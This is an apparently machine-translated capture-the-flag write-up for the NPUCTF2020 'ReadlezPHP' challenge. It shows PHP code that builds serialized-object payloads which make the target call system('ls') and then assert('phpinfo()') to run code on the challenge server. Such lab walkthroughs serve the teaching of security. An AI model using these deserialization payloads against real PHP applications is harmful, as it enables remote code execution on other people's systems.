当前位置:网站首页>[NPUCTF2020]ReadlezPHP 1
[NPUCTF2020]ReadlezPHP 1
2022-07-27 08:13:00 【weixin_ fifty-three million one hundred and fifty thousand four】
List of articles
Weekly learning summary
Open the web page :

There is no point that can be used , View the source code :
I found such a passage at the bottom , Click to find the source code :
Obviously, code auditing , Because the code is very simple, don't go into too much detail , The direct idea is to deserialize , The idea here is to $b The assignment is system And so on. , take $a Assign to the command executed
So we started writing payload, What we can think of to execute the order is system and eval, So here we use system Directory traversal :<?php class HelloPhp { public $a="ls"; public $b=system; } $c = new HelloPhp; $b = serialize($c); echo $b; ?>O:8:“HelloPhp”:2:{s:1:“a”;s:2:“ls”;s:1:“b”;s:6:“system”;}
According to the content :
That's not right , Maybe it's filtered , So let's change it eval Have a try , Because this is execution php Code, so let's try it first phpinfo() :
Not even output , Definitely not , What's going on now , have a look Others' wpThey used assert , Isn't this assertion ? But it will judge the next step by executing the first parameter , It's fine too
structure payload:O:8:“HelloPhp”:2:{s:1:“a”;s:9:“phpinfo()”;s:1:“b”;s:6:“assert”;}

Find on the current page flag You can find it
summary
- This level tells us in PHP The execution code in is sysytem() eval() assert()
- About assert() Another question of : Attack and defend the world -mfw
边栏推荐
- 1024 | in the fourth year officially called Menon, the original intention is still there, and continue to move forward
- Modification case of Ruixin micro rk3399-i2c4 mounting EEPROM
- mqtt指令收发请求订阅
- The seta 2020 international academic conference will be held soon. Welcome to attend!
- Can Linux install sqlserver
- API 版本控制【 Eolink 翻译】
- 物联网工业级UART串口转WiFi转有线网口转以太网网关WiFi模块选型
- MySQL table name area in Linux is not case sensitive
- Debug: generic related "unresolved external symbols"
- Data extraction 2
猜你喜欢
随机推荐
2020 International Machine Translation Competition: Volcano translation won five championships
CommonTitleBar hide left right
End of year summary
The third letter to the little sister of the test | Oracle stored procedure knowledge sharing and test instructions
How to update PIP3? And running PIP as the 'root' user can result in broken permissions and conflicting behavior
Attack and defense World Lottery
关于数据库的接口响应非常慢
Lu Xun: I don't remember saying it, or you can check it yourself!
【Day42 文献精读】A Bayesian Model of Perceived Head-Centered Velocity during Smooth Pursuit Eye Movement
[resolved] the new version of pychart (2022) connects to the server to upload files and reports an error of "command Rsync is not found in path", and the files cannot be synchronized
Want the clouds in the picture to float? Video editing services can be achieved in three steps with one click
npm的使用
Debug: generic related "unresolved external symbols"
C event usage case subscription event+=
Use of string type "PHP Basics"
[applet] how to get wechat applet code upload key?
Qt Creator代码风格插件Beautifier
JS access cookie example
Gossip: is rotting meat in the pot to protect students' rights and interests?
shell脚本学习day01





![[target detection] yolov6 theoretical interpretation + practical test visdrone data set](/img/ad/78835eea4decc15e0981e6561b875f.png)



